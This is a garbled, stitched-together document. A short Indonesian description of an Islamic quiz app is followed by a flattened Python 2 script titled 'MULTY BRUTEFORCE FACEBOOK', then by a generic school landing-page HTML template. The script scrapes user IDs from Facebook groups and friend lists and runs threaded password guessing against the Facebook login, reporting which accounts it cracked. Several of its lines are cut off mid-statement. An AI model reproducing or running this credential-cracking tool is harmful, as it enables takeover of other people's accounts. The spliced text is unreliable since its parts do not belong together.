Selamat datang di Kuis Pengetahuan Islam! Ini adalah aplikasi kuis sederhana yang dibangun menggunakan HTML, CSS, dan JavaScript vanilla. Proyek ini bertujuan untuk menguji pengetahuan dasar tentang ajaran Islam melalui serangkaian pertanyaan pilihan ganda.

from __future__ import print_function import platform,os def tampil (x): w = { 'm' : 31, 'h' : 32 , 'k' : 33 , 'b' : 34 , 'p' : 35 , 'c' : 36} for i in w: x = x.replace( '\r %s ' % i, '\033[ %s ;1m' % w[i]) x += '\033[0m' x = x.replace( '\r0' , '\033[0m' ) print (x) if platform.python_version().split( '.' )[ 0 ] != '2' : tampil( '\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x' % v().split( ' ' )[ 0 ] os.sys.exit() import cookielib,re,urllib2,urllib,threading try: import mechanize except ImportError : tampil( '\rm[!]SepertiNya Module \rcmechanize\rm belum di install...' ) os.sys.exit() def keluar (): simpan() tampil( '\rm[!]Keluar' ) os.sys.exit() log = 0 id_bteman = [] id_bgroup = [] fid_bteman = [] fid_bgroup = [] br = mechanize.Browser() br.set_handle_robots( False ) br.set_handle_equiv( True) br.set_handle_referer( True) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_redirect( True) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1 ) br.addheaders = [( 'User-Agent' , 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Versi def bacaData(): global fid_bgroup,fid_bteman try: fid_bgroup = open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'r' ).readlines() except : pass try: fid_bteman = open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'r' ).readlines() except : pass def inputD (x,v = 0 ): while 1 : try : a = raw_input ( '\x1b[32;1m %s \x1b[31;1m:\x1b[33;1m' % x) except : tampil( '\n\rm[!]Batal' ) keluar() if v: if a.upper() in v: break else: tampil( '\rm[!]Masukan Opsinya Bro...' ) continue else: if len(a) == 0 : tampil( '\rm[!]Masukan dengan benar' ) continue else: break return a def inputM (x,d): while 1 : try : i = int(inputD(x)) except : tampil( '\rm[!]Pilihan tidak ada' ) continue if i in d: break else: tampil( '\rm[!]Pilihan tidak ada' ) return i def simpan (): if len (id_bgroup) != 0 : tampil( '\rh[*]Menyimpan hasil dari group' ) try : open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'w' ).write( '\n' .join(id_bgroup)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgroup.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) if len (id_bteman) != 0 : tampil( '\rh[*]Menyimpan hasil daftar Teman...' ) try : open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'w' ).write( '\n' .join(id_bteman)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgteman.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) def buka(d): tampil( '\rh[*]Membuka \rp' + d) try: x = br.open(d) br._factory.is_html = True x = x.read() except : tampil( '\rm[!]Gagal membuka \rp' + d) keluar() if '<link rel="redirect" href="' in x: return buka(br.find_link().url) else: return x def login (): global log us = inputD( '[?]Email/HP' ) pa = inputD( '[?]Kata Sandi' ) tampil( '\rh[*]Sedang Login....' ) buka( 'https://m.facebook.com' ) br.select_form( nr = 0 ) br.form[ 'email' ] = us br.form[ 'pass' ] = pa br.submit() url = br.geturl() if 'save-device' in url or 'm_sess' in url: tampil( '\rh[*]Login Berhasil' ) buka( 'https://mobile.facebook.com/home.php' ) nama = br.find_link( url_regex = 'logout.php' ).text nama = re.findall( r ' \( (. * a ? ) \) ' ,nama)[ 0 ] tampil( '\rh[*]Selamat datang \rk %s \n\rh[*]Semoga ini adalah hari keberuntungan mu....' % nam log = 1 elif 'checkpoint' in url: tampil( '\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini' ) keluar() else: tampil( '\rm[!]Login Gagal' ) def saring_id_teman (r): for i in re.findall( r '/friends/hovercard/mbasic/ \? uid= (. *? ) &' ,r): id_bteman.append(i) tampil( '\rc==>\rb %s \rm' % i) def saring_id_group1 (d): for i in re.findall( r '<h3><a href="/ (. *? ) fref=pb' ,d): if i.find( 'profile.php' ) == - 1 : a = i.replace( '?' , '' ) else: a = i.replace( 'profile.php?id=' , '' ).replace( '&amp;' , '' ) if a not in id_bgroup: tampil( '\rk==>\rc %s ' % a) id_bgroup.append(a) def saring_id_group0 (): global id_group while 1 : id_group = inputD( '[?]Id Group' ) tampil( '\rh[*]Mengecek Group....' ) a = buka( 'https://m.facebook.com/browse/group/members/?id=' + id_group + '&amp;start=0&amp;lis nama = ' ' .join(re.findall( r '<title> (. *? ) </title>' ,a)[ 0 ].split()[ 1 :]) try : next = br.find_link( url_regex = '/browse/group/members/' ).url break except : tampil( '\rm[!]Id yang anda masukan salah' ) continue tampil( '\rh[*]Mengambil Id dari group \rc %s ' % nama) saring_id_group1(a) return next def idgroup(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() next = saring_id_group0() while 1 : saring_id_group1(buka( next)) try : next = br.find_link( url_regex = '/browse/group/members/' ).url except : tampil( '\rm[!]Hanya Bisa Mengambil \rh %d id' % len (id_bgroup)) break simpan() i = inputD( '[?]Langsung Crack (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bgroup) else: return menu() def idteman(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() saring_id_teman(buka( 'https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasi try: next = br.find_link( url_regex = 'friends_center_main' ).url except : if len (id_teman) != 0 : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) else: tampil( '\rm[!]Batal' ) keluar() while 1 : saring_id_teman(buka( next)) try : next = br.find_link( url_regex = 'friends_center_main' ).url except : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) break simpan() i = inputD( '[?]Langsung Crack (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bteman) else: return menu() class mt ( threading . Thread ): def __init__ (self,i,p): threading.Thread. __init__ ( self) self.id = i self.a = 3 self.p = p def update (self): return self.a, self.id def run(self): try: data = urllib2.urlopen(urllib2.Request( url = 'https://m.facebook.com/login.php' , data = urllib.urle except KeyboardInterrupt: os.sys.exit() except : self.a = 8 os.sys.exit() if 'm_sess' in data.url or 'save-device' in data.url: self.a = 1 elif 'checkpoint' in data.url: self.a = 2 else: self.a = 0 def crack (d): i = inputD( '[?]Pake Passwordlist/Manual (p/m)' ,[ 'P' , 'M' ]) if i.upper() == 'P' : while 1 : dir = inputD( '[?]Masukan alamat file' ) try: D = open( dir, 'r' ).readlines() except : tampil( '\rm[!]Gagal membuka \rk %s ' % dir) continue break tampil( '\rh[*]Memulai crack dengan \rk %d password' % len(D)) for i in D: i = i.replace( '\n' , '' ) if len(i) != 0 : crack0(d,i, 0 ) i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(d) else: return menu() else: return crack0(d,inputD( '[?]Sandi' ), 1 ) def crack0 (data,sandi,p): tampil( '\rh[*]MengCrack \rk %d Akun \rhdengan sandi \rm[\rk %s \rm]' % ( len(data),sandi)) print ( '\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m' , end= '' ) os.sys.stdout.flush() akun_jml = [] akun_sukses = [] akun_cekpoint = [] akun_error = [] akun_gagal = [] jml0,jml1 = 0 , 0 th = [] for i in data: i = i.replace( ' ' , '' ) if len (i) != 0 :th.append(mt(i,sandi)) for i in th: jml1 += 1 i.daemon = True try :i.start() except KeyboardInterrupt: exit() while 1 : try : for i in th: a = i.update() if a[ 0 ] != 3 and a[ 1 ] not in akun_jml: jml0 += 1 if a[ 0 ] == 2 : akun_cekpoint.append(a[ 1 ]) elif a[ 0 ] == 1 : akun_sukses.append(a[ 1 ]) elif a[ 0 ] == 0 : akun_gagal.append(a[ 1 ]) elif a[ 0 ] == 8 : akun_error.append(a[ 1 ]) print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m %0.2f%s \033[ os.sys.stdout.flush() akun_jml.append(a[ 1 ]) except KeyboardInterrupt: os.sys.exit() try : if threading.activeCount() == 1 : break except KeyboardInterrupt: keluar() print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m ' ) if len (akun_sukses) != 0 : tampil( '\rh[*]Daftar akun sukses' ) for i in akun_sukses: tampil( '\rh==>\rk %s \rm[\rp %s \rm]' % (i,sandi)) tampil( '\rh[*]Jumlah akun berhasil\rp %d ' % len(akun_sukses)) tampil( '\rm[*]Jumlah akun gagal\rp %d ' % len(akun_gagal)) tampil( '\rk[*]Jumlah akun cekpoint\rp %d ' % len(akun_cekpoint)) tampil( '\rc[*]Jumlah akun error\rp %d ' % len(akun_error)) if p: i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(data) else: return menu() else: return 0 def lanjutT(): global fid_bteman if len (fid_bteman) != 0 : i = inputD( '[?]Riset Hasil Id Teman/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bteman) else: os.remove(os.sys.path[ 0 ] + '/MBFbteman.txt' ) fid_bteman = [] return 0 def lanjutG(): global fid_bgroup if len (fid_bgroup) != 0 : i = inputD( '[?]Riset Hasil Id Group/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bgroup) else: os.remove(os.sys.path[ 0 ] + '/MBFbgroup.txt' ) fid_bgroup = [] return 0 def menu(): tampil( '''\rh .-.-.. /+/++// /+/++// \rk* *\rh /+/++// \ / |/__// {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========. ['] /'|'\ \\ / \ \ ' \_ \_ \_ \rk*\rhDragonFly ZomBie \rk########################################################### # \rb*MULTY BRUTEFORCE FACEBOOK*\rk # # \rhBY\rp PIRMANSX \rk# # \rhGroup FB\rp https://m.facebook.com/groups/164201767529837 \rk# # \rhGitHub\rp https://github.com/pirmansx \rk# # \rmDo Not Use This Tool For IllegaL Purpose \rk# ###########################################################''') tampil( '''\rk %s \n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n i = inputM( '[?]PILIH' ,[ 1 , 2 , 3 ]) if i == 1 : lanjutG() idgroup() elif i == 2 : lanjutT() idteman() elif i == 3 : keluar() bacaData() menu()

<div id="ixuj" class="gpd-navbar"> <div id="ic5a7" class="gpd-container"> <div id="iu8dq" class="gdp-row"> <div id="i0yff" class="cell"> <a id="ilani" class="gpd-link-box"><img id="ivm7f" src="https://cdn.grapedrop.com/u9ea0154168a24ce5be62672fcb3e0565/8bd59456d75a4a19950149dfa588ed5d_grapedrop-logo-black.svg"/></a> </div> <div id="i6ls5" class="cell gpd-navbar__menu"> <a id="i3vv9" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2z"> </path> </svg></a> </div> <div id="izu4n" class="cell gpd-navbar__items"> <div id="it3na" class="gdp-row gpd-navbar__items-grid"> <div class="cell gpd-navbar__item nav-item"> <a href="#i2n5f" id="i37zj" class="gpd-navbar__item-link">Services</a> </div> <div class="cell gpd-navbar__item nav-item"> <a href="#ictivk" id="idpml" class="gpd-navbar__item-link">Why us</a> </div> <div class="cell gpd-navbar__item nav-item"> <a href="#i7zvem" id="ie61z" class="gpd-navbar__item-link">Testimonials</a> </div> </div> </div> <div id="ihndr" class="cell"> <a href="#ih8q3w" id="ip59k" class="gpd-link cta-button">Get started now</a> </div> </div> </div> </div> <section id="iftl" class="gpd-section"> <div id="ij2xp" class="gpd-container"> <div id="c623" class="gdp-row"> <div id="i0pi" class="cell"> <h1 id="idy8g" class="text-head">MA AL-HIKMAH </h1> <div id="iv2c" class="gpd-text text-parag">Selamat datang di Madrasah Aliyah&nbsp; AL - Hikmah <br>​​​​​​​ <br> </div> <a href="#ih8q3w" id="i8hm3" class="gpd-link cta-button">Klik Mulai</a> <a data-type="video" data-zoomable="true" id="isldr" href="https://player.vimeo.com/video/354645621?title=0&portrait=0&byline=0&autoplay=1" class="gpd-lightbox"><div id="iyrs8" class="gdp-row"> <div id="iltam" class="cell"> <span id="i3szg" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-18C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5l6-4.5-6-4.5v9z"> </path> </svg></span> </div> <div id="iahl5" class="cell"> <div id="ios8f" class="gpd-text">Watch this video </div> </div> </div></a> </div> </div> </div> </section> <section id="iu7fcy" class="gpd-section"> <div id="iqbyo2" class="gpd-container"> <div id="iuow3s" class="gdp-row"> <div id="in2k7r" class="cell"> <span id="ilzb8g" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-18C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5l6-4.5-6-4.5v9z"> </path> </svg></span> </div> <div id="i262zg" class="cell"> <div id="inmukn" class="gpd-text">Want to know more about our work? </div> </div> <div id="i1s1h8" class="cell"> <a data-type="video" data-zoomable="true" href="https://player.vimeo.com/video/354645621?title=0&portrait=0&byline=0&autoplay=1" id="imj2u2" class="gpd-lightbox"><div id="ioqkkj" class="gpd-text">Watch our video </div></a> </div> </div> </div> </section> <section id="imcyx" class="gpd-section"> <div id="i0mpa" class="gpd-container"> <div id="igkax" class="gdp-row"> <div id="inted" data-anim-type="fadeInLeft" class="cell"> <h3 id="imy9sh" class="text-head-lg">Why we are the best </h3> <div id="ijgfwn" class="gpd-text text-parag">The best page builder for your next project. Great for lead generation, selling products, portfolios, events, and more. </div> <a href="" id="im0qy" class="gpd-link cta-button">Learn more about us</a> </div> <div id="i0bbk" data-anim-type="fadeInUp" class="cell"> <img id="i1yuol" src="https://images.unsplash.com/photo-1521737711867-e3b97375f902?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MXwxMjcwNXwwfDF8c2VhcmNofDEyfHx3b3JrfGVufDB8fHw&ixlib=rb-1.2.1&q=80&w=1080" loading="lazy"/> </div> <div id="iqzuk" data-anim-type="fadeInRight" class="cell"> <div id="itkix2" class="text-head-lg">11 </div> <div id="i81kgp" class="gpd-text text-parag">Satisfaction rate from our customers. </div> <div id="irmm9f" class="text-head-lg">0.1 </div> <div id="iiaeuu" class="gpd-text text-parag">Average customer ratings out of 5.00! </div> <div id="itpj9o" class="text-head-lg">1 </div> <div id="il50fj" class="gpd-text text-parag">Customers visits every month. </div> </div> </div> </div> </section> <section id="i2n5f" class="gpd-section"> <div id="ixr4e" class="gpd-container"> <h1 id="ik6a8" class="text-head-xl">Our services </h1> <div id="ibw3v" class="gpd-text text-parag">The best page builder for your next project. Great for lead generation, selling products, portfolios, and more. </div> <div id="i4421u" class="gdp-row"> <div id="ijtpz1" data-anim-type="fadeInUp" class="cell card-service"> <h2 id="ie2wrw" class="card-service-title">SEO Tools </h2> <div id="ivlox9" class="gpd-image-block card-service-img"> </div> <div id="i9jemq" class="gpd-text text-content">Great for lead generation, selling products, portfolios, events, and more. </div> </div> <div id="i88nt7" data-anim-type="fadeInUp" class="cell card-service"> <h2 id="ipv09j" class="card-service-title">Google Fonts </h2> <div id="i29tmt" class="gpd-image-block card-service-img"> </div> <div id="iry9ac" class="gpd-text text-content">Great for lead generation, selling products, portfolios, events, and more. </div> </div> <div id="i1oasu" data-anim-type="fadeInUp" class="cell card-service"> <h2 id="ikvinv" class="card-service-title">Custom Code </h2> <div id="iaj8l1" class="gpd-image-block card-service-img"> </div> <div id="ifp7v6" class="gpd-text text-content">Great for lead generation, selling products, portfolios, events, and more. </div> </div> </div> </div> </section> <section id="izttj" class="gpd-section"> <div id="iwqlf" class="gpd-container"> <div id="ieedo" class="gdp-row"> <div id="i4ub9" class="cell"> <img id="i06tg" src="https://images.unsplash.com/photo-1533227268428-f9ed0900fb3b?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MXwxMjcwNXwwfDF8c2VhcmNofDI1fHxidXNpbmVzc3xlbnwwfHx8&ixlib=rb-1.2.1&q=80&w=1080" loading="lazy" data-anim-type="fadeInLeft"/> </div> <div id="i2ngh" class="cell"> <h1 id="if3jc" data-anim-type="fadeInRight" class="text-head-xl">We are ready to help you grow faster. </h1> <div id="isx0u" data-anim-type="fadeInRight" class="gpd-text text-parag">The best page builder for your next project. Great for lead generation, selling products, portfolios, and more. </div> <div id="i16e1" class="gdp-row"> <div id="i3liw" data-anim-type="fadeInUp" class="cell"> <div id="icmzi" class="gdp-row"> <div id="iss8w" class="cell"> <span id="iz1l3" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2m-1 14.5l7-7-1.41-1.41L11 13.67l-3.09-3.08L6.5 12l4.5 4.5z"> </path> </svg></span> </div> <div id="iybsi" class="cell"> <div id="iunna" class="gpd-text"> <u> </u>Beautiful Templates </div> </div> </div> </div> <div id="i9mklb" data-anim-type="fadeInUp" class="cell"> <div id="iojbtn" class="gdp-row"> <div id="iqqse4" class="cell"> <span id="iv31zq" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2m-1 14.5l7-7-1.41-1.41L11 13.67l-3.09-3.08L6.5 12l4.5 4.5z"> </path> </svg></span> </div> <div id="iuetex" class="cell"> <div id="i0mtuh" class="gpd-text">Better SEO </div> </div> </div> </div> <div id="im71xf" data-anim-type="fadeInUp" class="cell"> <div id="ig75zr" class="gdp-row"> <div id="iaizrh" class="cell"> <span id="ibw3z5" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2m-1 14.5l7-7-1.41-1.41L11 13.67l-3.09-3.08L6.5 12l4.5 4.5z"> </path> </svg></span> </div> <div id="ibgalr" class="cell"> <div id="isc1v7" class="gpd-text">Better site load speed </div> </div> </div> </div> <div id="iii4c2" data-anim-type="fadeInUp" class="cell"> <div id="iffvbd" class="gdp-row"> <div id="ib768e" class="cell"> <span id="iabkhf" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2m-1 14.5l7-7-1.41-1.41L11 13.67l-3.09-3.08L6.5 12l4.5 4.5z"> </path> </svg></span> </div> <div id="ik4xsj" class="cell"> <div id="i0word" class="gpd-text">Clean code </div> </div> </div> </div> </div> </div> </div> </div> </section> <section id="ictivk" class="gpd-section"> <div id="isno87" class="gpd-container"> <div id="ia96zu" class="gdp-row"> <div id="id5vaq" class="cell"> <a data-type="video" data-zoomable="true" id="i74k2j" href="https://player.vimeo.com/video/354645621?title=0&portrait=0&byline=0&autoplay=1" data-anim-type="bounceIn" class="gpd-lightbox"><span id="i8162r" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M8 5.14v14l11-7-11-7z"> </path> </svg></span></a> <div id="i8ru86" data-anim-type="fadeIn" class="gpd-box"> <h1 id="ishqai" class="text-head-xl">Watch what we do </h1> <div id="iwwjyn" class="gpd-text text-parag">The best page builder for your next project. Great for lead generation, selling products, portfolios, and more. </div> </div> </div> </div> </div> </section> <section id="i7zvem" class="gpd-section"> <div id="irrp5q" class="gpd-container"> <h1 id="iy85e6" class="text-head-xl">Our Testimonials </h1> <div id="iztdnv" class="gpd-text text-parag">The best page builder for your next project. Great for lead generation, selling products, portfolios, and more. </div> <div id="iys767" data-anim-type="fadeIn" class="swiper-slider swiper-container-horizontal"> <div id="im64hx" class="swiper-container"> <div class="swiper-wrapper"> <div id="isfenj" class="swiper-slide testimonial-slide"> <div id="iz7z6p" class="testimonial-card"> <div id="ip0rs6" class="gdp-row"> <div id="ik77ng" class="cell"> <div id="ibpffy" class="gdp-row"> <div id="iucm9h" class="cell"> <div id="i1zb2j" class="gpd-image-block testimonial-profile"> </div> </div> </div> </div> <div id="i7ciyk" class="cell"> <h3 id="i72e5l" class="testimonial-text">"The best page builder for your next project. " </h3> </div> <div id="i05ytu" class="cell"> <div id="i6xks6" class="gdp-row"> <div id="ing1ih" class="cell"> <h4 id="i9t0tb" class="testimonial-name">Maria White </h4> </div> <div id="izcy5o" class="cell"> <div id="ikdkey" class="gpd-text testimonial-pos">Digital Marketer </div> </div> </div> </div> </div> </div> </div> <div id="iunjky" class="swiper-slide testimonial-slide"> <div id="i8mmym" class="testimonial-card"> <div id="i0qnhi" class="gdp-row"> <div id="irspdn" class="cell"> <div id="ipuebf" class="gdp-row"> <div id="io59ah" class="cell"> <div id="imexdw" class="gpd-image-block testimonial-profile"> </div> </div> </div> </div> <div id="ia3o7k" class="cell"> <h3 id="i2a22g" class="testimonial-text">"Choose from basic elements or built-in blocks, drag and drop them inside the canvas, and it's done." </h3> </div> <div id="iw4wgb" class="cell"> <div id="inueyf" class="gdp-row"> <div id="im0yoj" class="cell"> <h4 id="ir0554" class="testimonial-name">Ben Parker </h4> </div> <div id="ink1as" class="cell"> <div id="isgeow" class="gpd-text testimonial-pos">Freelancer </div> </div> </div> </div> </div> </div> </div> <div id="imptbi" class="swiper-slide testimonial-slide"> <div id="igkn14" class="testimonial-card"> <div id="ioep88" class="gdp-row"> <div id="ihg94s" class="cell"> <div id="ib1quj" class="gdp-row"> <div id="idzocc" class="cell"> <div id="i28mt5" class="gpd-image-block testimonial-profile"> </div> </div> </div> </div> <div id="i5utxe" class="cell"> <h3 id="ic9qg4" class="testimonial-text">"Fantastic! Any component inside the canvas is highly customizable." </h3> </div> <div id="ipvxq4" class="cell"> <div id="irsq9v" class="gdp-row"> <div id="i9vs34" class="cell"> <h4 id="ife56j" class="testimonial-name">Amanda River </h4> </div> <div id="id366i" class="cell"> <div id="iyvq3t" class="gpd-text testimonial-pos">Co-Founder </div> </div> </div> </div> </div> </div> </div> <div id="ir5bdh" class="swiper-slide testimonial-slide"> <div id="i23faa" class="testimonial-card"> <div id="igpe2q" class="gdp-row"> <div id="ibrnye" class="cell"> <div id="i460ys" class="gdp-row"> <div id="imumnz" class="cell"> <div id="iiq5sq" class="gpd-image-block testimonial-profile"> </div> </div> </div> </div> <div id="ieuxgx" class="cell"> <h3 id="ifr4yq" class="testimonial-text">"Great for lead generation, selling products, portfolios, and more." </h3> </div> <div id="ia3v4x" class="cell"> <div id="ibkjtj" class="gdp-row"> <div id="itveeo" class="cell"> <h4 id="iki01g" class="testimonial-name">Maria White </h4> </div> <div id="ix5vfd" class="cell"> <div id="ijsnxc" class="gpd-text testimonial-pos">Digital Marketer </div> </div> </div> </div> </div> </div> </div> <div id="idm4d6" class="swiper-slide testimonial-slide"> <div id="iiw6z3" class="testimonial-card"> <div id="i8jlrw" class="gdp-row"> <div id="iln2gu" class="cell"> <div id="i8s7ig" class="gdp-row"> <div id="ig8aoe" class="cell"> <div id="i0kyrl" class="gpd-image-block testimonial-profile"> </div> </div> </div> </div> <div id="i6qxfz" class="cell"> <h3 id="idmlh6" class="testimonial-text">"Choose from basic elements or built-in blocks, drag and drop them inside the canvas, and it's done." </h3> </div> <div id="iweibk" class="cell"> <div id="icb9rw" class="gdp-row"> <div id="i7pr5f" class="cell"> <h4 id="ik92a5" class="testimonial-name">Ben Parker </h4> </div> <div id="ih3h6s" class="cell"> <div id="ikeve9" class="gpd-text testimonial-pos">Freelancer </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class="swiper-pagination"> </div> <div class="swiper-nav swiper-button-prev"> <svg viewBox="0 0 27 44"> <path d="M0,22L22,0l2.1,2.1L4.2,22l19.9,19.9L22,44L0,22L0,22L0,22z" fill="currentColor"> </path> </svg> </div> <div class="swiper-nav swiper-button-next"> <svg viewBox="0 0 27 44"> <path d="M27,22L27,22L5,44l-2.1-2.1L22.8,22L2.9,2.1L5,0L27,22L27,22z" fill="currentColor"> </path> </svg> </div> </div> </div> </section> <section id="i81u1v" class="gpd-section"> <div id="i2qlzf" class="gpd-container"> <div id="i993vg" class="gdp-row"> <div class="cell"> <h1 id="iiosyj" class="gpd-header">Subscribe to our newsletter. <br/> </h1> <div id="i8ijlb" class="gpd-text text-parag">Get the latest news in your inbox. </div> </div> <div id="izvrkh" class="cell"> <form method="post" data-redirect="" id="ib1p0e"> <div id="ikajvh" class="gdp-row"> <div class="cell"> <input type="email" placeholder="Type your email here" name="email" required id="iunh45" class="input"/> </div> <div id="ir7f5m" class="cell"> <button type="submit" id="ity5x6" class="cta-button">Subscribe</button> </div> </div> <div data-form-state="success" id="iz9pwj" class="state-success">Thanks! We received your request </div> <div data-form-state="error" id="iwstqf" class="state-error">An error occurred on processing your request, try again! </div> </form> </div> </div> </div> </section> <section id="im0u3g" class="gpd-section"> <div class="gpd-container"> <div id="iq4rhi" class="gdp-row"> <div id="i4a6eg" class="cell footer-column"> <img id="iiy47x" src="https://cdn.grapedrop.com/u9ea0154168a24ce5be62672fcb3e0565/276d1ffc02af4141a92b9ac09dfd6806_grapedrop-logo-dark-white.svg" loading="lazy"/> <div id="i2lkxq" class="gpd-text">The best page builder for your next project. Great for lead generation, selling products, portfolios, and more. </div> <a id="isxhjm" href="" class="gpd-link footer-link-color">support@grapedrop.com</a> <div id="itpjjh" class="gdp-row"> <div id="ivyzt7" class="cell"> <a href="" target="_blank" id="ivly0k" class="gpd-link-box footer-social-link"><span id="iap5p1" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M7.8 2h8.4C19.4 2 22 4.6 22 7.8v8.4c0 3.2-2.6 5.8-5.8 5.8H7.8C4.6 22 2 19.4 2 16.2V7.8C2 4.6 4.6 2 7.8 2m-.2 2C5.61 4 4 5.61 4 7.6v8.8C4 18.39 5.61 20 7.6 20h8.8c1.99 0 3.6-1.61 3.6-3.6V7.6C20 5.61 18.39 4 16.4 4H7.6m9.65 1.5a1.25 1.25 0 1 1 0 2.5 1.25 1.25 0 0 1 0-2.5M12 7c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5m0 2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"> </path> </svg></span></a> </div> <div id="iz0wao" class="cell"> <a href="" target="_blank" id="ihwkxt" class="gpd-link-box footer-social-link"><span id="ih7jpi" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M5 3h14c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2m13 2h-2.5C13.57 5 12 6.57 12 8.5V11h-2v3h2v7h3v-7h3v-3h-3V9c0-.55.45-1 1-1h2V5z"> </path> </svg></span></a> </div> <div id="i3s2ua" class="cell"> <a href="" target="_blank" id="ivu7yg" class="gpd-link-box footer-social-link"><span id="i35zto" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M5 3h14c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2m12.71 6.33c.48-.4 1.04-.88 1.29-1.41-.41.21-.9.34-1.44.41.5-.36.91-.83 1.12-1.47-.52.28-1.05.52-1.71.64-1.55-1.87-5.26-.35-4.6 2.45-2.61-.16-4.2-1.34-5.52-2.79-.75 1.22-.1 3.07.79 3.58-.46-.03-.81-.17-1.14-.33.04 1.54.89 2.28 2.08 2.68-.36.07-.76.09-1.14.03.37 1.07 1.14 1.74 2.46 1.88-.9.76-2.56 1.29-3.9 1.08 1.15.73 2.46 1.31 4.28 1.23 4.41-.2 7.36-3.36 7.43-7.98z"> </path> </svg></span></a> </div> <div id="i3im0b" class="cell"> <a href="" target="_blank" id="im04za" class="gpd-link-box footer-social-link"><span id="i54mfi" class="gpd-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M19 3c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h14m-.5 15.5v-5.3c0-1.8-1.46-3.26-3.26-3.26-.85 0-1.84.52-2.32 1.3v-1.11h-2.79v8.37h2.79v-4.93c0-.77.62-1.4 1.39-1.4.77 0 1.4.63 1.4 1.4v4.93h2.79M6.88 8.56a1.686 1.686 0 0 0 0-3.37c-.93 0-1.69.76-1.69 1.69 0 .93.76 1.68 1.69 1.68m1.39 9.94v-8.37H5.5v8.37h2.77z"> </path> </svg></span></a> </div> </div> </div> <div class="cell footer-column"> <h4 id="i09iod" class="footer-title">Pages </h4> <a id="i104le" class="gpd-link footer-link">About Us</a> <a id="iq460j" class="gpd-link footer-link">Contact</a> <a id="ie0c3h" class="gpd-link footer-link">Services</a> <a id="idsxg5" class="gpd-link footer-link">Blog</a> </div> <div id="i1ybqs" class="cell footer-column"> 